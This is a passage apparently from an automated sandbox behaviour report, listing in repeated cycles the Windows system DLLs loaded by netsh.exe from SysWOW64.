Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
